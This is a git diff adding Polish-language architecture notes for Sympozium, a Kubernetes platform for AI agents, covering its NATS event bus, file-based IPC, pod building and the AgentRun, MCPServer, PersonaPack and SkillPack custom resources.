|
||||
| `AGENT_RUN_ID` | Nazwa AgentRun CR |
|
||||
| `AGENT_ID` | ID konfiguracji agenta |
|
||||
| `SESSION_KEY` | Klucz sesji |
|
||||
| `INSTANCE_NAME` | Nazwa SympoziumInstance |
|
||||
| `MODEL_PROVIDER` | openai/anthropic/azure/ollama |
|
||||
| `MODEL_NAME` | Identyfikator modelu |
|
||||
| `THINKING_MODE` | off/low/medium/high |
|
||||
| `SPAWN_DEPTH` | Głębokość zagnieżdżenia sub-agenta |
|
||||
| `TRACEPARENT` | W3C traceparent (OTel) |
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Control Plane]] | [[Orchestrator - PodBuilder i Spawner]] | [[Skill Sidecars i auto-RBAC]]
|
||||
59
02-Architektura/NATS JetStream - Event Bus.md
Normal file
59
02-Architektura/NATS JetStream - Event Bus.md
Normal file
@@ -0,0 +1,59 @@
|
||||
# NATS JetStream - Event Bus
|
||||
|
||||
#sympozium #architektura #nats #messaging
|
||||
|
||||
## Rola w systemie
|
||||
|
||||
NATS JetStream pełni rolę **centralnego event bus** łączącego wszystkie komponenty Sympozium. Jest deployowany jako StatefulSet w namespace `sympozium-system`.
|
||||
|
||||
## Dlaczego NATS?
|
||||
|
||||
| Cecha | Wartość dla Sympozium |
|
||||
|-------|----------------------|
|
||||
| **Durable pub/sub** | Wiadomości nie są tracone przy restartach podów |
|
||||
| **Replay** | Kanały mogą odtworzyć niezrealizowane wiadomości |
|
||||
| **Lightweight** | Minimalne zasoby vs Kafka/RabbitMQ |
|
||||
| **Cloud-native** | Natywne wsparcie K8s |
|
||||
| **Decoupling** | Kanały i agenty nie muszą wiedzieć o sobie |
|
||||
|
||||
## Topologia
|
||||
|
||||
```
|
||||
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
|
||||
│ Channel Pods │ │ NATS │ │ Controller │
|
||||
│ (Telegram, │────►│ JetStream │◄────│ Manager │
|
||||
│ Slack, etc.)│◄────│ │────►│ │
|
||||
└──────────────┘ │ StatefulSet │ └──────────────┘
|
||||
│ sympozium- │
|
||||
┌──────────────┐ │ system │ ┌──────────────┐
|
||||
│ IPC Bridge │────►│ │ │ Schedule │
|
||||
│ (sidecars) │◄────│ │ │ Router │
|
||||
└──────────────┘ └──────────────┘ └──────────────┘
|
||||
```
|
||||
|
||||
## Połączenie
|
||||
|
||||
Wszystkie komponenty łączą się pod adresem:
|
||||
```
|
||||
nats://nats.sympozium-system.svc:4222
|
||||
```
|
||||
|
||||
Zmienna środowiskowa: `EVENT_BUS_URL`
|
||||
|
||||
## Wzorzec komunikacji
|
||||
|
||||
1. **Request/Reply** - tool execution (request → sidecar → result)
|
||||
2. **Pub/Sub** - lifecycle events (run.started, run.completed)
|
||||
3. **Queue Groups** - channel messages (load-balanced between consumers)
|
||||
|
||||
## Dlaczego nie bezpośrednia komunikacja?
|
||||
|
||||
Agent pod nie ma dostępu sieciowego (NetworkPolicy deny-all). Jedyny komponent z dostępem do NATS to **IPC Bridge sidecar**. To zapewnia:
|
||||
|
||||
- Agent nie może bezpośrednio komunikować się z innymi podami
|
||||
- Całość komunikacji przechodzi przez kontrolowany kanał
|
||||
- Łatwe auditowanie (jeden punkt wejścia/wyjścia)
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Przepływ danych i IPC]] | [[Control Plane]] | [[NetworkPolicy i izolacja sieciowa]]
|
||||
104
02-Architektura/Orchestrator - PodBuilder i Spawner.md
Normal file
104
02-Architektura/Orchestrator - PodBuilder i Spawner.md
Normal file
@@ -0,0 +1,104 @@
|
||||
# Orchestrator - PodBuilder i Spawner
|
||||
|
||||
#sympozium #architektura #orchestrator
|
||||
|
||||
## Lokalizacja
|
||||
|
||||
`internal/orchestrator/` - pakiet odpowiedzialny za budowanie specyfikacji podów i spawning Job'ów.
|
||||
|
||||
## PodBuilder
|
||||
|
||||
`PodBuilder` to struct odpowiedzialny za konstruowanie pod spec'ów. Konfigurowany jest tagiem obrazów:
|
||||
|
||||
```go
|
||||
type PodBuilder struct {
|
||||
DefaultAgentImage string // agent-runner
|
||||
DefaultIPCBridgeImage string // ipc-bridge
|
||||
DefaultSandboxImage string // sandbox
|
||||
DefaultMCPBridgeImage string // mcp-bridge
|
||||
EventBusURL string // nats://nats.sympozium-system.svc:4222
|
||||
ImageTag string // np. "v0.0.25"
|
||||
}
|
||||
```
|
||||
|
||||
Registry: `ghcr.io/sympozium-ai/sympozium`
|
||||
|
||||
## Budowanie kontenerów
|
||||
|
||||
### BuildAgentContainer
|
||||
Główny kontener agenta z:
|
||||
- Read-only root filesystem
|
||||
- Drop ALL capabilities
|
||||
- No privilege escalation
|
||||
- Woluminy: workspace, skills (ro), ipc, tmp
|
||||
- EnvFrom: secret z kluczem API
|
||||
|
||||
### BuildIPCBridgeContainer
|
||||
Sidecar IPC bridge z:
|
||||
- Wolumin ipc (shared z agentem)
|
||||
- Env: AGENT_RUN_ID, INSTANCE_NAME, EVENT_BUS_URL
|
||||
- Opcjonalnie: TRACEPARENT, OTEL_* (observability)
|
||||
|
||||
### BuildSandboxContainer
|
||||
Opcjonalny sidecar sandbox z:
|
||||
- Read-only root filesystem
|
||||
- Drop ALL capabilities
|
||||
- Command: `sleep infinity` (czeka na komendy z agenta)
|
||||
- Woluminy: workspace, tmp
|
||||
|
||||
### BuildVolumes
|
||||
4 woluminy:
|
||||
- `workspace` - emptyDir 1Gi
|
||||
- `ipc` - emptyDir (Memory medium) 64Mi - **RAM-backed** dla szybkości
|
||||
- `tmp` - emptyDir 256Mi
|
||||
- `skills` - Projected volume z ConfigMapów SkillPacks
|
||||
|
||||
## AgentPodConfig
|
||||
|
||||
Konfiguracja przekazywana do buildera:
|
||||
|
||||
```go
|
||||
type AgentPodConfig struct {
|
||||
RunID string
|
||||
InstanceName string
|
||||
AgentID string
|
||||
SessionKey string
|
||||
ModelProvider string
|
||||
ModelName string
|
||||
ThinkingMode string
|
||||
AuthSecretRef string
|
||||
SandboxEnabled bool
|
||||
SandboxImage string
|
||||
SpawnDepth int
|
||||
Skills []SkillMount
|
||||
Traceparent string // W3C traceparent
|
||||
OTelEndpoint string // OTLP endpoint
|
||||
}
|
||||
```
|
||||
|
||||
## Proces tworzenia poda (w AgentRunReconciler)
|
||||
|
||||
```
|
||||
1. reconcilePending()
|
||||
├── validatePolicy() - sprawdza SympoziumPolicy
|
||||
├── ensureAgentServiceAccount() - ServiceAccount w namespace
|
||||
├── createInputConfigMap() - task + system prompt
|
||||
├── resolveSkillSidecars() - SkillPack CRDs → sidecar specs
|
||||
├── ensureMCPConfigMap() - konfiguracja MCP serwerów
|
||||
├── buildContainers() - PodBuilder buduje spec
|
||||
├── createEphemeralRBAC() - Role + RoleBinding per sidecar
|
||||
└── createJob() / createSandboxCR() - finalne tworzenie zasobu K8s
|
||||
```
|
||||
|
||||
## Relacja z AgentRun Controller
|
||||
|
||||
`AgentRunReconciler` (`internal/controller/agentrun_controller.go`) jest "klientem" PodBuilder'a. Reconciler:
|
||||
1. Obserwuje AgentRun CRDs
|
||||
2. Używa PodBuilder do budowania spec'ów
|
||||
3. Tworzy Job/Sandbox CR w Kubernetes
|
||||
4. Monitoruje lifecycle poda
|
||||
5. Zbiera wyniki i czyści zasoby
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Cykl życia Agent Pod]] | [[AgentRun]] | [[Cykl życia AgentRun]]
|
||||
126
02-Architektura/Przepływ danych i IPC.md
Normal file
126
02-Architektura/Przepływ danych i IPC.md
Normal file
@@ -0,0 +1,126 @@
|
||||
# Przepływ danych i IPC
|
||||
|
||||
#sympozium #architektura #ipc
|
||||
|
||||
## Mechanizm IPC
|
||||
|
||||
Sympozium używa **filesystem-based IPC** - agenty komunikują się z control plane przez pliki JSON w woluminie `/ipc/`:
|
||||
|
||||
```
|
||||
Agent tool pisze JSON → /ipc/<dir>/*.json → fsnotify watcher → NATS publish → Controller
|
||||
```
|
||||
|
||||
### Katalogi IPC
|
||||
|
||||
| Katalog | Cel | Przykład |
|
||||
|---------|-----|---------|
|
||||
| `/ipc/tools/` | Wykonanie komend w sidecarze | `execute_command` |
|
||||
| `/ipc/messages/` | Wysyłanie wiadomości na kanały | `send_channel_message` |
|
||||
| `/ipc/schedules/` | Zarządzanie schedulami | `schedule_task` |
|
||||
|
||||
## Dlaczego filesystem IPC?
|
||||
|
||||
### Zalety
|
||||
1. **Language-agnostic** - agent mógłby być w Pythonie, Rust, czymkolwiek
|
||||
2. **Zero zależności** - agent nie potrzebuje klienta NATS ani żadnego SDK
|
||||
3. **Inspekcja** - pliki JSON w woluminie można łatwo debugować
|
||||
4. **Prostota** - zapis pliku to najprostsza operacja I/O
|
||||
5. **Bezpieczeństwo** - agent nie ma dostępu sieciowego, tylko do woluminu
|
||||
|
||||
### Jak to działa
|
||||
|
||||
```
|
||||
1. Agent zapisuje /ipc/tools/cmd-12345.json:
|
||||
{
|
||||
"command": "kubectl get pods",
|
||||
"runId": "my-run-123"
|
||||
}
|
||||
|
||||
2. IPC Bridge (sidecar) wykrywa plik via fsnotify
|
||||
|
||||
3. Bridge publikuje na NATS:
|
||||
Topic: tool.exec.request
|
||||
Payload: {command, runId, instanceName}
|
||||
|
||||
4. Skill sidecar (lub controller) odbiera i wykonuje
|
||||
|
||||
5. Wynik wraca: NATS → IPC Bridge → /ipc/tools/result-12345.json
|
||||
|
||||
6. Agent czyta wynik z pliku
|
||||
```
|
||||
|
||||
## NATS Topics
|
||||
|
||||
Kluczowe tematy zdefiniowane w `internal/eventbus/types.go`:
|
||||
|
||||
### Lifecycle agenta
|
||||
- `agent.run.requested` - żądanie nowego runu
|
||||
- `agent.run.started` - run rozpoczęty
|
||||
- `agent.run.completed` - run zakończony sukcesem
|
||||
- `agent.run.failed` - run zakończony błędem
|
||||
|
||||
### Wiadomości kanałów
|
||||
- `channel.message.received` - wiadomość od użytkownika
|
||||
- `channel.message.send` - wiadomość do użytkownika
|
||||
|
||||
### Narzędzia
|
||||
- `tool.exec.request` - żądanie wykonania komendy w sidecarze
|
||||
- `tool.exec.result` - wynik wykonania
|
||||
|
||||
### Scheduling
|
||||
- `schedule.upsert` - agent sam tworzy/aktualizuje swój schedule
|
||||
|
||||
## Wbudowane narzędzia agenta
|
||||
|
||||
Agent-runner ma **7 wbudowanych narzędzi** (`cmd/agent-runner/tools.go`):
|
||||
|
||||
| Narzędzie | Kategoria | Opis |
|
||||
|-----------|-----------|------|
|
||||
| `execute_command` | IPC (sidecar) | Uruchamia komendy shell w skill sidecarze |
|
||||
| `read_file` | Native | Czyta zawartość pliku |
|
||||
| `write_file` | Native | Tworzy/zapisuje pliki |
|
||||
| `list_directory` | Native | Listuje zawartość katalogu |
|
||||
| `send_channel_message` | IPC (bridge) | Wysyła wiadomości na kanały |
|
||||
| `fetch_url` | Native | HTTP GET i zwraca body |
|
||||
| `schedule_task` | IPC (bridge) | CRUD na SympoziumSchedule CRDs |
|
||||
|
||||
### Natywne vs IPC
|
||||
|
||||
- **Native** - narzędzia wykonywane bezpośrednio w kontenerze agenta
|
||||
- **IPC (sidecar)** - narzędzia delegowane do skill sidecara przez IPC bridge
|
||||
- **IPC (bridge)** - narzędzia delegowane do controllera przez NATS
|
||||
|
||||
## Przepływ end-to-end
|
||||
|
||||
```
|
||||
Użytkownik → Telegram
|
||||
↓
|
||||
Channel Pod (Telegram) → NATS: channel.message.received
|
||||
↓
|
||||
Channel Router → Tworzy AgentRun CR
|
||||
↓
|
||||
AgentRun Reconciler → Tworzy Job z kontenerami
|
||||
↓
|
||||
Agent Container:
|
||||
1. Czyta task z /workspace/input/
|
||||
2. Czyta skills z /skills/
|
||||
3. Czyta memory z /memory/ lub memory API
|
||||
4. Wywołuje LLM (OpenAI/Anthropic/etc.)
|
||||
5. LLM decyduje o użyciu narzędzia
|
||||
6. Agent pisze do /ipc/tools/
|
||||
7. IPC Bridge → NATS → Skill Sidecar wykonuje
|
||||
8. Wynik wraca → Agent kontynuuje dialog z LLM
|
||||
9. Agent pisze wynik do stdout
|
||||
↓
|
||||
Controller zbiera logi poda
|
||||
↓
|
||||
Controller → NATS: agent.run.completed
|
||||
↓
|
||||
Channel Router → NATS: channel.message.send
|
||||
↓
|
||||
Channel Pod (Telegram) → Użytkownik
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[NATS JetStream - Event Bus]] | [[Cykl życia Agent Pod]] | [[Skill Sidecars i auto-RBAC]]
|
||||
136
03-CRD/AgentRun.md
Normal file
136
03-CRD/AgentRun.md
Normal file
@@ -0,0 +1,136 @@
|
||||
# AgentRun
|
||||
|
||||
#sympozium #crd #agentrun
|
||||
|
||||
## Definicja
|
||||
|
||||
`AgentRun` reprezentuje **pojedyncze wywołanie agenta**. Każdy AgentRun reconciliuje się w Kubernetes Job (tryb task) lub Deployment (tryb server).
|
||||
|
||||
**Plik:** `api/v1alpha1/agentrun_types.go`
|
||||
|
||||
## Spec
|
||||
|
||||
```yaml
|
||||
apiVersion: sympozium.ai/v1alpha1
|
||||
kind: AgentRun
|
||||
metadata:
|
||||
name: my-run-001
|
||||
spec:
|
||||
instanceRef: my-agent # Powiązanie z SympoziumInstance
|
||||
agentId: default
|
||||
sessionKey: session-123
|
||||
task: "Sprawdź stan klastra"
|
||||
systemPrompt: "Jesteś SRE inżynierem..."
|
||||
|
||||
model:
|
||||
provider: anthropic
|
||||
model: claude-sonnet-4-20250514
|
||||
baseURL: ""
|
||||
thinking: "high"
|
||||
authSecretRef: anthropic-key
|
||||
nodeSelector:
|
||||
gpu-type: a100
|
||||
|
||||
mode: task|server # Job vs Deployment
|
||||
|
||||
parent: # Dla sub-agentów
|
||||
runName: parent-run
|
||||
sessionKey: parent-session
|
||||
spawnDepth: 1
|
||||
|
||||
skills:
|
||||
- skillPackRef: k8s-ops
|
||||
|
||||
toolPolicy:
|
||||
allow: [read_file, list_directory]
|
||||
deny: [execute_command]
|
||||
|
||||
timeout: 5m
|
||||
cleanup: delete|keep # Po zakończeniu
|
||||
|
||||
sandbox: # Container-level sandbox
|
||||
enabled: true
|
||||
image: custom-sandbox:v1
|
||||
|
||||
agentSandbox: # Kernel-level sandbox (Sandbox CR)
|
||||
enabled: true
|
||||
runtimeClass: gvisor
|
||||
warmPoolRef: wp-my-agent
|
||||
|
||||
env: # Custom env vars
|
||||
MY_VAR: my-value
|
||||
```
|
||||
|
||||
## Status
|
||||
|
||||
```yaml
|
||||
status:
|
||||
phase: Pending|Running|Serving|Succeeded|Failed
|
||||
podName: my-run-001-abc123
|
||||
jobName: my-run-001
|
||||
sandboxName: my-run-001-sandbox # Agent Sandbox mode
|
||||
startedAt: "2024-01-01T00:00:00Z"
|
||||
completedAt: "2024-01-01T00:05:00Z"
|
||||
result: "Klaster jest zdrowy. 15 podów running..."
|
||||
error: ""
|
||||
exitCode: 0
|
||||
tokenUsage:
|
||||
inputTokens: 1500
|
||||
outputTokens: 800
|
||||
totalTokens: 2300
|
||||
toolCalls: 5
|
||||
durationMs: 45000
|
||||
traceID: "abc123def456" # OTel trace
|
||||
deploymentName: "" # Server mode
|
||||
serviceName: "" # Server mode
|
||||
```
|
||||
|
||||
## Fazy lifecycle
|
||||
|
||||
```
|
||||
""(empty) → Pending → Running → Succeeded
|
||||
→ Failed
|
||||
→ Serving (tryb server - długo żyjący)
|
||||
```
|
||||
|
||||
### Przejścia faz
|
||||
|
||||
| Z fazy | Do fazy | Trigger |
|
||||
|--------|---------|---------|
|
||||
| "" / Pending | Running | Job/Sandbox CR utworzony, pod running |
|
||||
| Running | Succeeded | Pod zakończył się z kodem 0 |
|
||||
| Running | Failed | Pod zakończył się z kodem != 0 lub timeout |
|
||||
| Pending | Serving | Mode=server, Deployment ready |
|
||||
| Serving | Succeeded | AgentRun usunięty (cleanup Deployment) |
|
||||
|
||||
## Token Usage Tracking
|
||||
|
||||
AgentRun śledzi zużycie tokenów LLM:
|
||||
- `inputTokens` - tokeny promptu
|
||||
- `outputTokens` - tokeny odpowiedzi
|
||||
- `totalTokens` - suma
|
||||
- `toolCalls` - liczba wywołań narzędzi
|
||||
- `durationMs` - czas wall-clock w ms
|
||||
|
||||
## Sub-agenty
|
||||
|
||||
AgentRun wspiera hierarchię parent-child:
|
||||
```yaml
|
||||
parent:
|
||||
runName: parent-run-001
|
||||
sessionKey: parent-session
|
||||
spawnDepth: 1 # Głębokość w drzewie
|
||||
```
|
||||
|
||||
Limity zdefiniowane w [[SympoziumInstance]] → `agents.default.subagents`:
|
||||
- `maxDepth: 2` - max zagnieżdżenie
|
||||
- `maxConcurrent: 5` - max równoległych
|
||||
- `maxChildrenPerAgent: 3` - max dzieci per agent
|
||||
|
||||
## History Pruning
|
||||
|
||||
Controller utrzymuje max 50 zakończonych AgentRun per instancja (konfigurowalny `RunHistoryLimit`). Starsze są automatycznie usuwane.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[SympoziumInstance]] | [[Cykl życia AgentRun]] | [[Cykl życia Agent Pod]]
|
||||
104
03-CRD/MCPServer.md
Normal file
104
03-CRD/MCPServer.md
Normal file
@@ -0,0 +1,104 @@
|
||||
# MCPServer
|
||||
|
||||
#sympozium #crd #mcp
|
||||
|
||||
## Definicja
|
||||
|
||||
`MCPServer` zarządza lifecycle **serwerów MCP (Model Context Protocol)** w klastrze. Wspiera stdio (z HTTP adapterem), HTTP i external transport.
|
||||
|
||||
**Plik:** `api/v1alpha1/mcpserver_types.go`
|
||||
|
||||
## Spec
|
||||
|
||||
```yaml
|
||||
apiVersion: sympozium.ai/v1alpha1
|
||||
kind: MCPServer
|
||||
metadata:
|
||||
name: github-mcp
|
||||
spec:
|
||||
transportType: stdio|http
|
||||
|
||||
# Dla external/pre-existing serwerów (bez deploymentu):
|
||||
url: "http://external-mcp.example.com/mcp"
|
||||
|
||||
# Dla managed serwerów:
|
||||
deployment:
|
||||
image: ghcr.io/my-org/github-mcp:v1
|
||||
cmd: "/usr/bin/github-mcp-server"
|
||||
args: ["--stdio"]
|
||||
port: 8080
|
||||
env:
|
||||
LOG_LEVEL: info
|
||||
secretRefs:
|
||||
- name: github-token
|
||||
resources:
|
||||
requests:
|
||||
cpu: "100m"
|
||||
memory: "128Mi"
|
||||
serviceAccountName: github-mcp-sa
|
||||
|
||||
toolsPrefix: gh # Prefix unikający kolizji
|
||||
timeout: 30
|
||||
replicas: 1
|
||||
toolsAllow: [create_issue] # Whitelist narzędzi
|
||||
toolsDeny: [delete_repo] # Blacklist narzędzi
|
||||
```
|
||||
|
||||
## Dwa tryby
|
||||
|
||||
### Managed (z deployment spec)
|
||||
Controller tworzy Deployment + Service:
|
||||
- stdio → HTTP adapter automatycznie
|
||||
- Probing narzędzi po starcie
|
||||
- Lifecycle zarządzany przez controller
|
||||
|
||||
### External (z URL)
|
||||
Tylko referencja do istniejącego serwera:
|
||||
- Brak deploymentu
|
||||
- Probing narzędzi pod podanym URL
|
||||
- Użytkownik zarządza lifecycle
|
||||
|
||||
## Tool Discovery
|
||||
|
||||
Po starcie MCPServer, controller:
|
||||
1. Probeuje endpoint MCP
|
||||
2. Odkrywa dostępne narzędzia
|
||||
3. Aplikuje `toolsAllow` / `toolsDeny` filtry
|
||||
4. Zapisuje listę narzędzi w `status.tools`
|
||||
5. Prefiksuje nazwy: `gh_create_issue`, `gh_list_repos`
|
||||
|
||||
## Status
|
||||
|
||||
```yaml
|
||||
status:
|
||||
ready: true
|
||||
url: "http://github-mcp.sympozium-system.svc:8080"
|
||||
toolCount: 12
|
||||
tools: [create_issue, list_repos, ...]
|
||||
```
|
||||
|
||||
## Integracja z agentem
|
||||
|
||||
```
|
||||
SympoziumInstance → mcpServers: [{name: github-mcp, toolsPrefix: gh}]
|
||||
↓
|
||||
AgentRun tworzony → Reconciler:
|
||||
1. Rozwiązuje MCPServer CR → pobiera URL ze status
|
||||
2. Tworzy MCP ConfigMap z konfiguracją serwerów
|
||||
3. Dodaje mcp-bridge sidecar do poda
|
||||
↓
|
||||
Agent w podzie:
|
||||
- mcp-bridge sidecar tłumaczy tool calls → MCP protocol
|
||||
- Narzędzia widoczne jako prefixed: gh_create_issue, gh_list_repos
|
||||
```
|
||||
|
||||
## Tool namespacing
|
||||
|
||||
Prefiksy zapobiegają kolizjom gdy wiele MCP serwerów jest aktywnych:
|
||||
- `gh_create_issue` (GitHub MCP)
|
||||
- `jira_create_ticket` (Jira MCP)
|
||||
- `slack_send_message` (Slack MCP)
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[MCP Servers - Model Context Protocol]] | [[SympoziumInstance]] | [[Przepływ danych i IPC]]
|
||||
132
03-CRD/PersonaPack.md
Normal file
132
03-CRD/PersonaPack.md
Normal file
@@ -0,0 +1,132 @@
|
||||
# PersonaPack
|
||||
|
||||
#sympozium #crd #personapack
|
||||
|
||||
## Definicja
|
||||
|
||||
`PersonaPack` to CRD bundlujący **wiele pre-konfigurowanych person agentów**. Aktywacja packa powoduje automatyczne tworzenie SympoziumInstances, Schedules i memory seeds.
|
||||
|
||||
**Plik:** `api/v1alpha1/personapack_types.go`
|
||||
|
||||
## Analogia
|
||||
|
||||
PersonaPack jest dla agentów AI tym, czym Helm Chart dla aplikacji K8s - **deklaratywny bundle** który controller "rozpakowuje" w konkretne zasoby.
|
||||
|
||||
## Spec
|
||||
|
||||
```yaml
|
||||
apiVersion: sympozium.ai/v1alpha1
|
||||
kind: PersonaPack
|
||||
metadata:
|
||||
name: platform-team
|
||||
spec:
|
||||
enabled: true # Dopóki false - katalog; true - controller stampuje
|
||||
description: "Core platform engineering team"
|
||||
category: platform
|
||||
version: "1.0.0"
|
||||
|
||||
authRefs: # Credentials (ustawiane przy aktywacji)
|
||||
- provider: openai
|
||||
secret: platform-team-openai-key
|
||||
|
||||
policyRef: restrictive # Wspólna polityka
|
||||
baseURL: "" # Override dla lokalnych providerów
|
||||
|
||||
channelConfigs: # Mapowanie kanał → secret
|
||||
telegram: telegram-creds
|
||||
|
||||
skillParams: # Parametry per-skill
|
||||
github-gitops:
|
||||
REPO: my-org/my-repo
|
||||
|
||||
taskOverride: "Focus on reducing MTTR" # Nadpisanie celów
|
||||
|
||||
excludePersonas: # Wyłączone persony
|
||||
- cost-analyzer
|
||||
|
||||
channelAccessControl:
|
||||
telegram:
|
||||
allowedSenders: ["123456"]
|
||||
|
||||
agentSandbox: # Kernel-level isolation dla wszystkich
|
||||
enabled: true
|
||||
runtimeClass: gvisor
|
||||
|
||||
personas:
|
||||
- name: security-guardian
|
||||
displayName: "Security Guardian"
|
||||
systemPrompt: |
|
||||
You are a Kubernetes security specialist...
|
||||
model: claude-sonnet-4-20250514
|
||||
skills:
|
||||
- k8s-ops
|
||||
- sre-observability
|
||||
toolPolicy:
|
||||
allow: [execute_command, read_file, fetch_url]
|
||||
channels:
|
||||
- telegram
|
||||
schedule:
|
||||
type: heartbeat
|
||||
interval: "30m"
|
||||
task: "Run security audit on all namespaces"
|
||||
memory:
|
||||
enabled: true
|
||||
seeds:
|
||||
- "Track CVEs found in previous scans"
|
||||
- "Remember cluster topology changes"
|
||||
```
|
||||
|
||||
## Mechanizm aktywacji
|
||||
|
||||
```
|
||||
PersonaPack (enabled: false) → Katalog (TUI pokazuje jako dostępny)
|
||||
↓
|
||||
Użytkownik aktywuje (TUI wizard / kubectl patch)
|
||||
↓
|
||||
PersonaPack (enabled: true, authRefs set) → Controller stampuje:
|
||||
├── Secret: platform-team-openai-key
|
||||
├── SympoziumInstance: platform-team-security-guardian
|
||||
│ ├── SympoziumSchedule + ConfigMap memory (seeded)
|
||||
├── SympoziumInstance: platform-team-sre-watchdog
|
||||
│ ├── SympoziumSchedule + ConfigMap memory (seeded)
|
||||
└── SympoziumInstance: platform-team-platform-engineer
|
||||
└── SympoziumSchedule + ConfigMap memory (seeded)
|
||||
```
|
||||
|
||||
## Wbudowane packi
|
||||
|
||||
| Pack | Kategoria | Agenty | Opis |
|
||||
|------|-----------|--------|------|
|
||||
| `platform-team` | Platform | Security Guardian, SRE Watchdog, Platform Engineer | Bezpieczeństwo, health, manifest review |
|
||||
| `devops-essentials` | DevOps | Incident Responder, Cost Analyzer | Triage incydentów, right-sizing |
|
||||
| `developer-team` | Development | 7 agentów (Tech Lead, Backend/Frontend Dev, QA, Code Reviewer, DevOps, Docs Writer) | Pełny zespół dev |
|
||||
|
||||
## Status
|
||||
|
||||
```yaml
|
||||
status:
|
||||
phase: Pending|Ready|Error
|
||||
personaCount: 3
|
||||
installedCount: 3
|
||||
installedPersonas:
|
||||
- name: security-guardian
|
||||
instanceName: platform-team-security-guardian
|
||||
scheduleName: platform-team-security-guardian-schedule
|
||||
```
|
||||
|
||||
## ownerReferences
|
||||
|
||||
Wszystkie wygenerowane zasoby mają `ownerReference` → PersonaPack. Usunięcie packa = garbage collection całego zespołu.
|
||||
|
||||
## Znaczenie architektoniczne
|
||||
|
||||
PersonaPacks rozwiązują problem **Day 1 Experience** - zamiast ręcznie tworzyć Secret + Instance + Schedule + Memory per agent, użytkownik:
|
||||
1. Wybiera pack w TUI
|
||||
2. Podaje klucz API
|
||||
3. Cały zespół agentów jest gotowy
|
||||
|
||||
To także wzorzec **Infrastructure as Code dla AI Teams** - deklarujesz zespół agentów w YAML, controller realizuje intent.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[PersonaPacks - zespoły agentów]] | [[SympoziumInstance]] | [[SympoziumSchedule]]
|
||||
131
03-CRD/SkillPack.md
Normal file
131
03-CRD/SkillPack.md
Normal file
@@ -0,0 +1,131 @@
|
||||
# SkillPack
|
||||
|
||||
#sympozium #crd #skillpack
|
||||
|
||||
## Definicja
|
||||
|
||||
`SkillPack` to CRD bundlujący **Markdown instrukcje + opcjonalny sidecar kontener + RBAC**. Skills montowane są jako pliki w podzie agenta.
|
||||
|
||||
**Plik:** `api/v1alpha1/skillpack_types.go`
|
||||
|
||||
## Dwuwarstwowa architektura skilli
|
||||
|
||||
### Warstwa 1: Instrukcje (Markdown)
|
||||
Każdy skill to plik Markdown montowany w `/skills/` - agent czyta go jako instrukcje do LLM.
|
||||
|
||||
### Warstwa 2: Sidecar (opcjonalny)
|
||||
Sidecar to kontener z narzędziami (kubectl, helm, git) + auto-provisioned RBAC.
|
||||
|
||||
## Spec
|
||||
|
||||
```yaml
|
||||
apiVersion: sympozium.ai/v1alpha1
|
||||
kind: SkillPack
|
||||
metadata:
|
||||
name: k8s-ops
|
||||
spec:
|
||||
category: kubernetes
|
||||
version: "1.0.0"
|
||||
|
||||
skills:
|
||||
- name: k8s-ops
|
||||
description: "Kubernetes operations"
|
||||
content: |
|
||||
# Kubernetes Operations
|
||||
You have access to kubectl via the execute_command tool...
|
||||
requires:
|
||||
bins: [kubectl]
|
||||
tools: [execute_command]
|
||||
|
||||
sidecar:
|
||||
image: ghcr.io/sympozium-ai/sympozium/skill-k8s-ops:v0.0.25
|
||||
command: ["sleep", "infinity"]
|
||||
mountWorkspace: true
|
||||
env:
|
||||
- name: KUBECONFIG
|
||||
value: /var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
resources:
|
||||
cpu: "100m"
|
||||
memory: "128Mi"
|
||||
|
||||
rbac: # Namespace-scoped RBAC
|
||||
- apiGroups: ["", "apps"]
|
||||
resources: ["pods", "deployments"]
|
||||
verbs: ["get", "list", "watch"]
|
||||
|
||||
clusterRBAC: # Cluster-scoped RBAC
|
||||
- apiGroups: [""]
|
||||
resources: ["nodes", "namespaces"]
|
||||
verbs: ["get", "list", "watch"]
|
||||
|
||||
secretRef: github-token # Sekrety montowane w sidecarze
|
||||
secretMountPath: /secrets/github
|
||||
|
||||
hostAccess: # Dostęp do hosta (np. node-probe)
|
||||
enabled: false
|
||||
hostNetwork: false
|
||||
hostPID: false
|
||||
privileged: false
|
||||
mounts:
|
||||
- hostPath: /var/log
|
||||
mountPath: /host-logs
|
||||
readOnly: true
|
||||
|
||||
requiresServer: false # Czy wymaga Deployment zamiast Job
|
||||
ports:
|
||||
- name: http
|
||||
containerPort: 8080
|
||||
```
|
||||
|
||||
## Status
|
||||
|
||||
```yaml
|
||||
status:
|
||||
phase: Ready
|
||||
configMapName: skillpack-k8s-ops
|
||||
skillCount: 1
|
||||
```
|
||||
|
||||
## Cykl życia
|
||||
|
||||
```
|
||||
SkillPack CR utworzony
|
||||
↓
|
||||
SkillPackReconciler → Generuje ConfigMap z Markdown contentem
|
||||
↓
|
||||
SympoziumInstance referencjonuje skill
|
||||
↓
|
||||
AgentRun tworzony → AgentRunReconciler:
|
||||
1. Czyta SkillPack → wyciąga sidecar spec
|
||||
2. Tworzy Role + RoleBinding (namespace RBAC)
|
||||
3. Tworzy ClusterRole + ClusterRoleBinding (cluster RBAC)
|
||||
4. Dodaje sidecar kontener do pod spec
|
||||
5. Montuje ConfigMap jako /skills/ volume
|
||||
↓
|
||||
Po zakończeniu AgentRun:
|
||||
- Namespace RBAC: garbage-collected via ownerReference
|
||||
- Cluster RBAC: cleaned up by controller via label selector
|
||||
```
|
||||
|
||||
## Parametryzacja
|
||||
|
||||
SkillPacks mogą być parametryzowane per-instancja:
|
||||
|
||||
```yaml
|
||||
# W SympoziumInstance
|
||||
skills:
|
||||
- skillPackRef: github-gitops
|
||||
params:
|
||||
REPO: my-org/my-repo
|
||||
BRANCH: main
|
||||
```
|
||||
|
||||
Parametry injektowane jako `SKILL_REPO`, `SKILL_BRANCH` env vars w sidecarze.
|
||||
|
||||
## RequiresServer
|
||||
|
||||
Gdy `sidecar.requiresServer: true`, AgentRun tworzony jest w trybie `server` (Deployment + Service zamiast Job). Przykład: skill `web-endpoint`.
|
||||
|
||||
---
|
||||
|
||||
